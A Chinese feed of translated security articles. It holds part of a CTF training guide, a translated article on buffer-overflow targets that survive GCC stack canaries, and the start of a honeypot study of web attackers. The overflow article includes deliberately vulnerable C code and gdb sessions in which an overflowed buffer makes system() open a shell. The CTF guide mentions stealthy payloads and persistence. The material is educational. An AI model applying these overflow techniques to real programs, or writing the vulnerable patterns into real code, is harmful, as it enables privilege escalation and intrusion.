  • 你的公司或你的客户强迫你获得认证。这通常有助于销售增长,比如“你应该选择我们,因为我们所有的员工都有XYZ认证!”

通常,花费时间在参加CTF上更加有产出效率,然后用你的最终排名来证明你的能力。

链接

  1. How to Break Into Security, Ptacek Edition

  2. VRT: How to Become an Infosec Expert, Part I

  3. Five pieces of advice for those new to the infosec industry

  4. How to Milk a Computer Science Education for Offensive Security Skills

  5. Kill Your Idols, Shawn Moyer's reflections on his first years at Defcon

  • ​认证有感
  1. My Canons of (ISC)2 Ethics

  2. Not a CISSP

  3. (ISC)2's Newest Cash Cow

  4. Why You Should Not Get a CISSP

  • 常规技术建议
  1. Advice for Computer Science College Students

  2. Don't call yourself a programmer, and other career advice

  3. The answer to "Will you mentor me?" is .... no.

二、漏洞挖掘

2.1、源代码审计

这个部分是关于熟悉应用程序编译为本地代码时显现的漏洞。对一门编译语言编写应用程序时的精准和完整理解,在没有学习编译器怎样转换源代码为机器语言和处理器怎么执行代码前是无法达到的。一种简单的获得这些转换经验的方式是通过逆向工程你自己的代码或源码可见的项目。在这个部分结束时你将会识别用诸如C和C++编译语言编写的常见漏洞。

大型软件包由于使用第三方软件库导致漏洞普遍存在。常见的例子包括像libxml、libpng、libpoppler和用来解析已编译文件格式和协议的libfreetype等这样的库。这些库中的每一个都曾在历史上被发现过易于攻击的漏洞。即便当新的版本发布之后,也无助于绝大多数软件的未更新,在这些情况下很容易发现易于发现的已知漏洞。

课程

挑战工坊

为了锻炼你的技能,我们建议通过一个故意留有漏洞的程序过一遍尽可能多漏洞发掘之旅,然后转移到实际应用中做同样的事情。

Newspaper应用是一个用C语言编写的小型服务应用,允许认证的用户读取和写入文章到一个远程文件系统。Newspaper编写的方式使得它对于许多不同的攻击都有漏洞可以利用。你应该能够通过源码发现其中至少10个bug或可能存在的漏洞。

​Wireshark,无论怎样,是一款从1998年开始持续开发的行业标准级别的网络协议分析器。相比漏洞诸多的Newspaper应用,Wireshark的漏洞少之又少。查看wireshark安全页面,找到一个协议解析器的名字并测试是否你可以在没有查看漏洞细节的情况下发现漏洞。解析器位于/epan/dissectors/目录。

​工具

当进行源码审计时,使用一款用户分析和引导代码库的工具是很有帮助的。下面是两款工具,Source Navigator和Understand,通过收集和展现相关数据关系、API使用、设计模式和控制流的信息来帮助分析员快速熟悉代码。一个有用的对比工具的例子同样列在下方。其中一个免费、开源的审计工具例子是Clang Static Analyzer,该工具可以帮助你在常见API和漏洞编码形式中跟踪编程错误。

​资源

要确定你对分析目标所用的编程语言非常地熟悉。发现漏洞的审计员相比初始开发软件的程序员要更加熟悉语言和代码库。在一些案例中,这种级别的理解可以简单通过关注可选编译器警告或通过第三方分析工具帮助跟踪常见编程错误而达到。计算机安全等同于计算机精通。对你的目标有严苛的理解,也就没有抵御攻击的希望。

​2.2、二进制审计

现在你已经深入到原生层,这是你撕扯下所有遮掩后的软件。今天我们所关注的原生代码形式是Intel X86下的32位代码。Intel处理器从上世纪80年代开始在个人计算机市场有着强劲的表现,现在支配着桌面和服务器市场。理解这些指令集可以帮助你以内部视角看到程序每天是如何运行的,也可以在你遇到诸如ARM、MIPS、PowerPC和SPARC等其他指令集时提供一种参考。

这部分内容我们将要逐渐熟悉原生层和开发策略,以理解、分析和解释本地代码。在该部分结束时你应该能够完成一项“逆向编译”——从汇编分段到高级语言状态——以及处理过程、派生意义和程序员意图。

课程

学习X86初看起来令人生畏且需要一些专业性的学习才能掌握。我们建议阅读《深入理解计算机系统》的第三章学习C程序是怎样编译成机器指令的。当你有了一些基础的、这种过程的应用知识,就在手边随时备着像弗吉尼亚大学x86汇编指南这样的参考指南。我们还发现了来自Quinn Liu的系列视频作为快速介绍。

挑战工坊

下面的程序都是“二进制炸弹”。逆向工程这些Linux程序并确定输入序列就可以“拆除“炸弹。炸弹的每个连接层关注于原生代码的不同层面。例如,CMU实验室中的程序(CMU Binary Bomb Lab)中你会看到不同数据结构(链表、树)以及控制流结构(切换、循环)在原生代码层面怎样表现的。在逆向这些程序时你可以发现将程序执行流程转换为C或者其他高级语言的有用之处。

你应该将目标聚焦于解决这两个实验室程序的八个段。CMU炸弹程序有一个隐藏段,RPI炸弹程序有一个段包含有内存错误,你能找到并解决么?

​工具

处理原生代码的两个至关重要的工具是调试器和反汇编器。我们建议你熟悉下行业标准反汇编工具:IDA Pro。IDA会分割代码为独立的块以对应程序源码的定义函数。每个函数进一步被分割为修改控制流的指令定义的“基础块”。这样很容易一眼识别循环、条件和其他控制流指令。

调试器允许你与设置了断点的运行中代码进行交互和状态检查,以及内存检查和寄存器内容查看。你会发现如果你的输入没有产生预期的结果,这些查看功能是很有用的,但是一些程序会使用反调试技术在调试时改变程序行为。对于大多数Linux系统来说GNU调试器(gdb)是标准的调试工具。gdb可以通过你所用Linux版本的软件包管理器获得。

​资源

已经有许多好的资源用来学习x86汇编和CTF题目中的技巧。除了以上资源,x86维基手册和AMD指令集帮助都是更加完整的参考供你参考(我们发现AMD帮助手册没有Intel帮助手册那么吓人)。

​一些逆向工程工具使用起来和汇编语言自身一样复杂。下面列出的是常用的命令行工具的命令表单:

最后,许多CTF挑战会使用反调试技术和反汇编技术隐藏或混淆目标。上面的炸弹程序就使用了其中的几种技术,但是你可能想要更全面的参考资料。

​2.3、Web应用审计

欢迎来到Web渗透部分,在这个部分中将会熟悉Web应用中发现的常见漏洞。在该部分结束时你应该能够使用各种测试方法和源码级别审计识别基于Web的常见应用漏洞。课程资源中将会给出对挑战工坊资源进行成功审计的所有工具。

课程

挑战工坊

为了锻炼你的技能,我们建议你实践一遍Damn Vulnerable Web App(DVWA)和Sibria Exploit Kit的漏洞发掘与利用。DVWA是基于PHP并汇总了各类漏洞的一套测试环境,在其中能够看到Web应用中许多常见的错误。Siberia Exploit Kit是一个被许多犯罪份子用来完成大量攻击的“犯罪套件”,它包括了一个浏览器利用包和一个用来管理受害主机的控制面板。Siberia包含的几种基于POST的身份认证漏洞允许攻击者获得管理员权限并接管服务器所在的主机。

下载并在VMware虚拟机中运行OWASP Broken Web Apps开始此次挑战工坊。BWA包含许多用来安全测试的Web应用,其中包括DVWA。如果你搞定了DVWA,那么放轻松再试试其他Web应用漏洞!尝试审计Siberia的源码来找寻漏洞,要将注意力集中在PHP输入的代码上。

​工具

Burp Suite是一个用来安全测试的本地HTTP代理。Burp Suite是针对Web渗透测试人员开发的,并将许多常见功能集成在一个GUI界面中。免费版本的可用功能足以完成上面的挑战和许多其他Web安全挑战。

​资源

许多简单的测试方法和常见的Web应用漏洞都可以在该部分的挑战题中遇到。在做这些挑战题前请先确定你理解了HTTP、HTML和PHP的基础知识。

​三、漏洞利用程序的构建

3.1、二进制的漏洞利用(1)

二进制的漏洞利用是破坏编译程序的过程,令程序违反自身的可信边界从而有利于你——攻击者。本部分中我们将聚焦于内存错误。通过利用漏洞来制造软件内存错误,我们可以用某种方式重写恶意程序静态数据,从而提升特定程序的权限(像远程桌面服务器)或通过劫持控制流完成任意操作和运行我们所用的代码。

如果你尝试在已编译的C程序中找bug,知晓你要找的东西是很重要的。从认识你发送的数据被程序用在什么地方开始,如果你的数据被存储在一个缓冲区中,要注意到它们的大小。编写没有错误的C程序是非常难的,CERT C Coding Standard手册汇总了许多错误出现的方式。对commonly misused APIs稍加注意是可以加快了解的捷径。

一旦一个漏洞被确认,它就可以被用来威胁程序的完整性,然而,有各种不同的方式可以达到这个目标。对于像Web服务器这样的程序,获取另一个用户的信息可能是最终目标。另一方面,修改你的权限可能是有用的,比如修改一个本地用户权限为管理员。

课程

第一套课程是《Memory Corruption 101》,提供了Windows环境下缓冲区溢出利用一步一步的解释和相关背景。第二套课程《Memory Corruption 102》,涵盖了更多高级主题,包括Web浏览器漏洞利用。这两套课程都是针对Windows的例子,但技术和过程可以用于使用x86指令集的其他操作系统。记住,当你处理UNIX/Linux二进制时,函数名称和有时候的调用约定是不一样的。

​工具

我们建议使用GDB来调试该部分的挑战题,因为它们都是在32位Linux下编译的,然而,GDB更适合用来调试源代码,而不是没有标识符和调试信息的纯粹二进制程序。诸如gdbinitpedavoltron可以使gdb在调试无源码的程序时更有用。我们建议在你的home目录下创建一个至少包含以下命令的.gdbinit文件:

set disassembly-flavor intel

set follow-fork-mode child

挑战工坊

为了运行这些挑战题,你需要安装Ubuntu 14.01(32-bit)虚拟机。我们建议使用VMware Player,因为它免费且支持性很好。在你运行虚拟机后,打开终端并运行sudo apt-get install socat来安装socat

在此次挑战工坊中共有三道挑战题,当你在git中clone该手册的repository后,每道题都包含在其目录中,每道题的最终目标是操纵执行流以读取flag。对于每道题,请尝试将反汇编转换为C代码。在尝试之后,你可以通过查看提供的实际C源码来确认你的猜测,然后,尝试利用漏洞来读取flag。

挑战题:Easy

确认目录中easy程序的flag。当你执行easy后,它会在12346端口监听指令。

挑战题:Social

和easy类似,确认目录中social程序的flag和作为social程序的host.sh。当你执行social后,它将在12347端口监听指令。

资源

3.2、二进制的漏洞利用(2)

在该部分内容中,我们继续可利用漏洞的本地应用检查之路,并关注使用返回导向编程(ROP)来达到此目的。ROP是在代码结尾的返回指令中整合现有可执行片段的过程。通过创建这些“玩意儿”地址链可以在不引入任何新代码的情况下写新程序。

记住,在可利用程序的漏洞识别方法上你需要灵活应变。有时候有必要在漏洞利用开发过程中对一个漏洞多次利用。有时,你可能仅想用ROP来让你的shellcode执行,其他情况下,你可能想在ROP中完整写一个攻击载荷。偶尔,内存布局能使非常规的漏洞利用方法可行,例如,你可曾考虑过用ROP来构造一个不受控的格式化字符串漏洞?

课程

本部分的课程将讨论返回导向编程(ROP)和绕过数据不可执行保护的代码重用。这些在漏洞利用细节上会更具体,且基于上部分所讨论的内容。

挑战工坊

和前一个部分的挑战一样,在你clone repository后文件夹中有两个可执行文件。每个程序的漏洞利用都需要使用返回导向编程以读取flag。此次的挑战题没有提供源代码的访问。你需要对二进制程序进行逆向工程来发掘漏洞,并需要将漏洞利用的技术。同样,请使用相同的Ubuntu 14.04(32-bit)虚拟机。

挑战题:brute_cookie

运行bc程序,它会监听12345端口。

挑战题:space

运行作为space程序的host.sh,它会监听12348端口。

挑战题:rop_mixer

运行作为rop_mixer程序的host.sh,它会监听12349端口。

工具

参考前面所提到的工具。如果你还没有准备,你需要熟悉一下*NIX的binutils套件。像readelfstringsobjdumpobjcopynm都是常用的有用工具。请使用软件包管理器和帮助页面安装和阅读它们的使用。

有几个现有的工具专门用来创建可重用代码的漏洞,它们比一般的反汇编器更加专业,因为它们会寻找合适的可执行代码段作为ROP目标(在指令、.rodata等中)。

资源

3.3、Web应用的漏洞利用

该部分承接前面的Web应用审计部分。在该部分中我们将关注于漏洞的利用,在结束时你应该能够熟练地识别和利用OWASP Top 10

课程

前面的内容中我们已经介绍了Web安全的基础部分,所以现在在该部分中我们可以更深一步到一些能够获得更大效果的合适工具。学习掌握Burp Suite和Chrome开发者工具能够更好的理解和你交互的应用程序。BeEF是一个XSS代理的例子,通读它的源码学习它怎样工作将会受益匪浅。

​挑战工坊

你被指派对一个小而糙的Web应用程序Gruyere进行审计。Gruyere是托管于Google的应用,它能够进行许多类型的Web方面漏洞利用练习,包括XSS、SQL注入、CSRF、路径穿越和其他。对于每一个挑战你都能够找到提示、漏洞和进行漏洞修复的方法。

参考

​工具

SQLMap和BeEF都是强大且有趣的工具,但是对于挑战题基本上用不着。如果你坚持要使用BeEF,请不要尝试拦截进行应用审计的其他用户。

四、电子取证

[译者注:暂无]

五、工具箱的构建

5.1、工具箱的准备

欢迎来到工具箱构建部分。工具箱就是能够让你和你的团队以最有效的方式达成目标的工具集合。工具箱是一个有强有力的效率工具,能够让你在比赛期间花费最短的时间开发漏洞利用并得到最大化的开发回报。

一个好的工具箱是好用且易用的。你应该将能够让团队有效沟通、协同工作、自动化的常用工具和提供比赛情况的软件包含进来。

课程

​挑战工坊

创建三个列表。第一个列表用你理想化的功能型工具构成;第二个列表用能够提供你所需要的功能的软件构成;第三个列表从前两个列表中按照功能重要性和支持性进行排序。最后开发那些能够弥补你理想化工具和现有工具不足的软件。

下面是一些你不能忽视的功能:

  • 漏洞利用、密钥聚集和提交管理

  • 隐秘和安全的载荷或持续驻留方法

  • 安全通讯和协同

  • 网络/主机环境监测

​资源

六、可实施的谍报技术

6.1、案例研究

可实施的谍报技术通常是持续对一个特定目标的挖掘。在进行比赛性的Wargame时你将会几乎将所有经历集中在规避检测并不暴露你的工具集(基础工具、漏洞利用)的风险。

课程

挑战工坊

  • 评价下面活动中所展现的可实施谍报技术。每个计划都决定了要使用的工具和活动背后的可操作性侧露。

  • 在评价谍报技术过程中思考以下一些问题:

  • 为什么行动者选择完成/实现X行动/能力?

  • 哪里有失误?漏洞的选择还是某种形式的短视?

  • 行动/能力有不恰当么?能否弥补可操作性策略的不足?

  • 行动者对保护什么最有兴趣?(比如:工具、特征、雇主等等)

  • 从攻击者角度每个活动中能学到什么?防御者角度呢?

活动

​资源

这些是少数公开的关于他们自己谍报技术的例子、团队或组织。下面的提供的AMA是对格外天才的团队怎样行动的惊鸿一瞥。

七、参与者

该手册的编写建立在许多艰难工作之上,绝大多数难点是在其他地方。未经允许不得重新发布这些文件,因为该手册尚在更新过程中,我们非常感谢和感激大家的支持。

所以,读者们,当你完成一些CTF比赛准备参加更多的比赛,请参与到该手册的编写中来。那些有着雄心壮志的人们或许知道一些需要如此技能的人。

​如果你对这样的课程感兴趣,请参考NYU Poly。他们专注于网络安全且经常通过他们的Hacker in Residence活动与我们合作。

参与进来

如果你想参与该手册的编写,只需简单地将你新的markdown提交到master分支即可,我们可以从那里获取到提交。Gitbook有一个出色的编辑器用来帮助你预览更改。我们一直在找寻新或精妙的内容,所以请给我们提供建议!

Gitbook的使用

《CTF领域指南》是用Gitbook创建的,它是一个用Git和Markdown创建电子书的命令行工具。你可以用Gitbook将《CTF领域指南》导出为PDF格式、一个eBook或一个单独可打印的HTML页面。在安装Gitbook和它的少量插件前请确保你的电脑上安装有NodeJSnpm

npm install gitbook gitbook-plugin-ga gitbook-pdf ebook-convert -g

在Gitbook安装后,你可以在书籍目录内运行下面的任一命令:

  • 创建一个互动、静态站点:gitbook build ./myrepo

  • 创建一个独立页面站点:gitbook build ./myrepo -f page

  • 创建一个PDF文件:gitbook pdf ./myrepo(需要gitbook-pdf

(全文待续)

时尚时尚最时尚的缓冲区溢出目标

$
0
0

原文:《Modern Overflow Targets》 By Eric Wimberley,Nathan Harrison

翻译:taskiller

在当今的操作系统中,内存缺陷漏洞已经越来越难挖掘了,栈保护措施已经使原来的缓冲区溢出利用方法(将NOP块和shellcode写入到缓冲区中,并用缓冲区内的地址覆盖EIP所指向的地址)失效了。如果没有某种程度的信息泄露,在地址空间分布随机化(ASLR)和栈cookies的双重保护下,用传统方法实际上已经很难对远程系统执行有效的溢出攻击了。

不过,现在仍存在可被利用的栈输入/输出漏洞。本文描述了一些常用缓冲区溢出技术,这些技术不会触发栈的__stack_chk_fail保护,或至少到目前为止还有效的技术。本文我们不再利用新技术通过修改EIP来修改程序的执行流程,而是将精力集中到一系列新的目标中。同时,本文也会讨论GCC 4.6及之前版本中未出现在任何文档中的函数安全模式(function safety model)。

GCC ProPolice记录的异常

根据函数安全模型的ProPolice文档,以下情况不会被保护:

  • 无法被重新排序的结构体,以及函数中的指针是不安全的。

  • 将指针变量作为参数时是不安全的。

  • 动态分配字符串空间是不安全的。

  • 调用trampoline代码的函数是不安全的。

另外,我们也发现以下几种情况也是不安全的:

  • 如果函数中定义了一块以上缓存且没有正确排序,则至少一块缓存可能在引用前被修改被干扰。

  • 参数列表中的指针或原语(primitives)可能被修改,但在canary检测之前被引用。

  • 任意结构体原语或缓存都有可能在引用前被修改(包括C++中的栈对象)。

  • 位于栈帧低地址中的指向变量的指针是不安全的,因为数据在被引用前可能会先被覆盖。这里我们不再局限于当前栈帧中的本地变量、指针(如函数指针)和缓存等。

IBM在关于函数安全模型的文档中假定攻击类型都是传统的栈溢出方式。文档中声明,函数返回后,栈canary后的数据是安全的,事实也确实是这样。但问题是数据在函数返回之前可能不是安全的。即使在不同的栈帧中,指向栈的高地址的指针也很容易被改写。

基础攻击

以下为一个简单的示例:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    char buff[10];
    char buff2[10] = "dir";    // 该命令在windows与linux系统中均有效
    scanf("%s", buff);
    printf("A secure compiler should not execute this code in case of overflow.\n");
    system(buff2);
}

这个简单的函数包含两个不同的变量,第一个变量从标准输入读取一个字符串,第二个变量作为system函数的参数。scanf函数包含可以溢出的漏洞,如果我们输入的字符超过10个,就会产生溢出,会将buff字符串数组之上高地址的任何数据覆盖。在GCC中,"fstack-protoctor-all"标记要作的就是在内存中检测这种情况。下面我们用GDB看一下:

main()函数的反汇编代码:

0x08048494 <+0>: push %ebp 
0x08048495 <+1>: mov %esp,%ebp 
0x08048497 <+3>: and $0xfffffff0,%esp 
0x0804849a <+6>: sub $0x30,%esp 
0x0804849d <+9>: mov %gs:0x14,%eax 
0x080484a3 <+15>: mov %eax,0x2c(%esp) 
0x080484a7 <+19>: xor %eax,%eax 
0x080484a9 <+21>: movl $0x726964,0x22(%esp) 
0x080484b1 <+29>: movl $0x0,0x26(%esp) 
0x080484b9 <+37>: movw $0x0,0x2a(%esp)

0x080484c0 <+44>: lea 0x18(%esp),%eax 
0x080484c4 <+48>: mov %eax,0x4(%esp) 
0x080484c8 <+52>: movl $0x80485e0,(%esp) 
0x080484cf <+59>: call 0x80483b0 <scanf@plt> 
0x080484d4 <+64>: movl $0x80485e4,(%esp) 
0x080484db <+71>: call 0x8048390 <puts@plt> 
0x080484e0 <+76>: lea 0x22(%esp),%eax 
0x080484e4 <+80>: mov %eax,(%esp) 
0x080484e7 <+83>: call 0x80483a0 <system@plt> 
0x080484ec <+88>: mov $0x0,%eax 
0x080484f1 <+93>: mov 0x2c(%esp),%edx 
0x080484f5 <+97>: xor %gs:0x14,%edx 
0x080484fc <+104>: je 0x8048503 <main()+111> 
0x080484fe <+106>: call 0x8048380 <__stack_chk_fail@plt> 
0x08048503 <+111>: leave 
0x08048504 <+112>: ret 
End of assembler dump. 
(gdb) break *0x080484cf 
Breakpoint 1 at 0x80484cf: file firstexample.cpp, line 7. 
(gdb) break *0x080484e7 
Breakpoint 2 at 0x80484e7: file firstexample.cpp, line 9. 
(gdb) r 
Starting program: /home/ewimberley/testing/a.out 
Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7 
7 scanf("%s", buff); 
(gdb) x/s buff2 
0xbffff312: "dir" 
(gdb) con 
condition continue 
(gdb) continue 
Continuing. 
aaaaaaaaaa/bin/sh 
A secure compiler should not execute this code in case of overflow. 
Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9 
9 system(buff2); 
(gdb) x/s buff2 
0xbffff312: "/bin/sh" 
(gdb) continue 
Continuing.
$ whoami 
ewimberley 
$ exit 
[Inferior 1 (process 3349) exited normally]

可以向buff合法写入10个字节,多出来的字节写入到buff2中(canary被覆盖之前)。如果我们从标准输入写入21个‘a’并查看内存,可以看到canary的第一个字节(0x00)被破坏了。

Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7 
7 scanf("%s", buff); 
(gdb) x/32x buff 
0xbffff308: 0xdb 0x3b 0x16 0x00 0x24 0x93 0x2a 0x00 
0xbffff310: 0xf4 0x8f 0x64 0x69 0x72 0x00 0x00 0x00 
0xbffff318: 0x00 0x00 0x00 0x00 0x00 0xe6 0x75 0xc2 
0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00 
(gdb) continue 
Continuing. 
aaaaaaaaaaaaaaaaaaaaa 
A secure compiler should not execute this code in case of overflow. 
Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9 
9 system(buff2); 
(gdb) x/32x buff 
0xbffff308: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 
0xbffff310: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 
0xbffff318: 0x61 0x61 0x61 0x61 0x61 0x00 0x75 0xc2 
0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00 
(gdb) continue 
Continuing. 
sh: aaaaaaaaaaa: not found 
*** stack smashing detected ***: /home/ewimberley/testing/a.out terminated 
======= Backtrace: ========= 
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0x2188d5] 
/lib/i386-linux-gnu/libc.so.6(+0xe7887)[0x218887] 
/home/ewimberley/testing/a.out[0x8048503] 
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x14a113] 
/home/ewimberley/testing/a.out[0x8048401] 
======= Memory map: ======== 
00110000-0012e000 r-xp 00000000 08:01 1577417 /lib/i386-linux/-gnu/ld-2.13.so 
0012e000-0012f000 r--p 0001d000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so 
0012f000-00130000 rw-p 0001e000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so 

00130000-00131000 r-xp 00000000 00:00 0 [vdso] 
00131000-002a7000 r-xp 00000000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so 
002a7000-002a9000 r--p 00176000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so 
002a9000-002aa000 rw-p 00178000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so 
002aa000-002ad000 rw-p 00000000 00:00 0 
002ad000-002c9000 r-xp 00000000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1 
002c9000-002ca000 r--p 0001b000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1 
002ca000-002cb000 rw-p 0001c000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1 
08048000-08049000 r-xp 00000000 08:01 1048890 /home/ewimberley/testing/a.out 
08049000-0804a000 r--p 00000000 08:01 1048890 /home/ewimberley/testing/a.out 
0804a000-0804b000 rw-p 00001000 08:01 1048890 /home/ewimberley/testing/a.out 
0804b000-0806c000 rw-p 00000000 00:00 0 [heap] 
b7fec000-b7fed000 rw-p 00000000 00:00 0 
b7ffc000-b8000000 rw-p 00000000 00:00 0 
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] 
Program received signal SIGABRT, Aborted. 
0x00130416 in __kernel_vsyscall ()

需要注意的是,从sh得到的错误消息依然会被打印出来:

sh: aaaaaaaaaaa: not found

这是因为直到函数返回之前的那一刻才会进行栈检查,在检测到内存被破坏之前,非法的字符串已经被引用了。字符串结尾处的栈canary的第一个字节被覆盖(错误消息中只有11个‘a’,因为buff2中包含字节长)。下图演示了根据函数安全模型,函数在执行时栈帧的情况:

overflow target 01

变量声明的顺序通常决定其在栈帧中的顺序。缓存在声明时通常是往栈底方向声明的,以此来减缓其对其它本地变量的溢出攻击,但当有两块缓存时,其中的一块必须在另一块缓存和canary之间。如果有缓冲区溢出漏洞影响了第一块缓存,则第二块缓存可被任意写入。这比所有的本地变量被溢出攻击要好,但字符串通常更容易被选为攻击目标。

函数参数不能轻易改变位置,所以它们在其在这些变量缓存的上面。主函数的缓存在栈帧的最底部(高地址)。如前文所述,直到函数返回时才会对栈进行检查,所以这些参数仍有可能被当前函数引用 。这表示可以通过将恶意代码写入到参数的方式来触发缓冲区溢出漏洞。

void vulnerable(char* buffer)
{
    char buff[10];
    scanf("%s", buff);
    printf("A secure compiler should not execute this code in case of overflow.\n");
    system(buffer);
}

int main()
{
    char buff2[10] = "dir";
    vulnerable(buff2);
    printf("The overflow happened in a different function...\n");
}

vulnerable()函数的栈帧的结构类似下图(根据编译器的不同略有差异)。char *buff与包含漏洞的char[] buff分别在canary的两侧,但仍无法避免受到溢出攻击。

overflow target 02

在vulnerable()函数到达其返回点时,仍会进行canary检测。不幸的是,攻击者在这时已经获取到shell的访问权限,且在程序做出任意栈溢出警告前将其kill掉了。如果vulnerable()函数打开一个shell并杀死它自己的进程,安全检测就不会运行了。需要注意的是如果该漏洞程序是以root权限(或者设置了suid位且程序所有者为root)运行的,则通过利用该漏洞就可以获取到系统root用户权限。

overflow target 03其它攻击向量

system(char *)函数只是一个简单的示例,系统中还有很多类似的情况。本例中的攻击者溢出了一个直接传递到printf函数中的字符串。

overflow target 04容易受到攻击的目标包含但不限于:

  • 传递到system(char *command)函数中的字符串

  • 做为字符串格式的字符串(Strings that are used as a string format)

  • 包含SQL状态的字符串

  • 包含XML的字符串

  • 写入到硬盘的字符串

  • 包含密码信息的字符串

  • 包含加密密钥的字符串

  • 包含文件名的字符串

​附录A

/*
Copyright (C) 2012 Eric Wimberley and Nathan Harrison
WARNING:
以下这段代码故意写成易受攻击的形式。
读者可以尝试在测试系统或沙盒中编译并以守护程序或以root权限运行这段代码。
*/
// windows系统中需要的头文件
//#include "stdafx.h" 
//#include <process.h> 
// linux系统中需要的头文件
#include <stdlib.h> 
#include <stdio.h> 
// code portability for vulnerable function 
// TODO pick a vulnerable function, any vulnerable function 
//#define vulnerableFunction printf 
#define vulnerableFunction system 
//#define vulnerableFunction mysql_query(...)? 
//#define vulnerableFunction someone_who_trusts_this_string_in_any_way(...)? 
// code portability for scanf function (for what it's worth) 
// TODO comment out for linux 
//#define scanf scanf_s 
void a()
{
    char buff2[10] = "dir";
    char buff[10];
    scanf("%s", buff);
    printf("A secure compiler should not execute this code in case of overflow.\n");
    vulnerableFunction(buff2);
}

void c(char* buffer)
{
    char buff[10];
    // 如果使用scanf_s漏洞就不存在了
    // 预编译指令是为了保证不使用scanf_s
    #ifndef scanf 
    scanf("%s", buff); 
    #endif 
    #ifdef scanf 
    #undef scanf 
    scanf("%s", buff); 
    #define scanf scanf_s 
    #endif 
    printf("A secure compiler should not execute this code in case of overflow.\n"); 
    vulnerableFunction(buffer); 
}

class TestClass
{
public:
    char buff[10];
    char buff2[21];
    TestClass()
    { 
        sscanf(buff2, "SELECT * FROM table;");
    } 
    void a()
    {
        scanf("%s", buff);
        printf("A secure compiler should not execute this code in case of overflow.\n");
        vulnerableFunction(buff2);
    }
};

void scenario1()
{
    // Case 1 and 2:简单栈帧
    // depending on compiler implementation these stack frames may be arranged so 
    // such that one buffer can overflow into the other (at least one of these 
    // works on most compilers) 
    // TODO pick one of these
    printf("Running scenario 1...\n");
    a(); 
}

void scenario2()
{ 
    // Case 2:对象中的堆溢出
    // 堆溢出是一个已知的问题,但对象使该问题更严重了
    // 因为对象之间的缓存是相临的。
    printf("Running scenario 2...\n"); 
    TestClass* test = new TestClass(); 
    test->a(); 
}
 
void scenario3()
{
    // Case 3:对象中的栈溢出
    // objects on the stack are almost unaccounted for
    printf("Running scenario 3...\n");
    TestClass test = TestClass();
    test.a();
}

void scenario4Part2(TestClass& test)
{
    test.a();
}

void scenario4()
{
    // Case 4:对象中的栈溢出
    // objects on the stack are almost unaccounted for
    // 该情况也可以作为栈检查应该更早执行的证明
    // 栈检查的最佳时机就是缓存被改写之后就直接检查
    printf("Running scenario 4...\n");
    TestClass test = TestClass();
    scenario4Part2(test);
    printf("The overflow happened in a different function...\n");
}

// honestly, this scenario might be the worst offender 
void scenario5()
{
    // Case 5:对象中的栈溢出
    // 函数参数在栈canary以下,但由于不正确的检查时机,其包含漏洞
    // 该情况也可以作为栈检查应该更早执行的证明
    // 栈检查的最佳时机就是缓存被改写之后就直接检查
    printf("Running scenario 5...\n");
    char buff2[10] = "dir";
    c(buff2);
    printf("The overflow happened in a different function...\n");
}

// TODO use precompiler to make this code portable
// int _tmain(int argc, char* argv[])
int main(int argc, char* argv[])
{
    if(argc == 2)
    {
        if(argv[1][0] == '1')
        {
            scenario1();
        }
        else if(argv[1][0] == '2')
        {
            scenario2();
        }
        else if(argv[1][0] == '3')
        {
            scenario3();
        }
        else if(argv[1][0] == '4')
        {
            scenario4(); 
        } 
        else if(argv[1][0] == '5')
        { 
            scenario5();
        }
    }
    else{
        printf("Usage [program] [scenario number 1-5]\n");
    }
    printf("\nA secure compiler should not get to this point.\n");

    return 0;
}

引用资料

《Smashing The Stack For Fun And Profit》

Aleph1

http://www.phrack.org/issues.html?id=14&issue=49

 

《Protecting from stack-smashing attacks》

Hiroaki Etoh and Kunikazu Yoda

http://www.research.ibm.com/trl/projects/security/ssp/node4.html#SECTION00041000000000000000

(全文完)

在线攻击的幕后场景:对利用Web漏洞行为的分析

$
0
0

原文:http://www.internetsociety.org/doc/behind-scenes-online-attacks-analysis-exploitation-behaviors-web

翻译:赵阳

摘要:现如今Web攻击已经成为了互联网安全的一个主要威胁,人们对它进行了很多研究,特别详细地分析了攻击是如何进行,如何传播的。但是,对于当Web被攻陷时的攻击者的典型行为研究却很少。本文描述了一个设计、执行、配置有500个完整功能的蜜罐技术网站,从而可以提供多种不同服务,目的就是要吸引攻击者,采集攻击者在攻击过程中和攻击后的行为信息。在100天的实验过程中,我们的系统自动采集、处理和规整了85000个在大概6000次攻击后留下的文件,并把攻击者的攻击路线标记成了不同类别,以区分它们在每次利用Web应用漏洞过程中的行为。

一、引言

Web攻击是对人们经济和知识财产造成破坏的主要原因之一。去年,这种攻击的数量不断在增长,复杂程度也在增加,并且目标多是政府和高利润的公司,窃取个人信息的同时造成了数百万欧元的经济损失。使用台式机、笔记本和智能手机上网的人数的不断增加,这就有了很吸引人的攻击目标,从而使他们走上了犯罪的道路。

这种趋势也已经成为了学术研究之一。事实上,快速的看下前些年发表的论文,会发现与Web攻击和防守相关的文章很多。这些研究大多数关注于一些普通的与Web应用、Web服务器或是浏览器相关的漏洞,通过这些漏洞来拿下目标。其余的剖析了针对内部构件的特殊攻击活动[5,13,17],或是提出新的保护机制来减少现有的攻击。

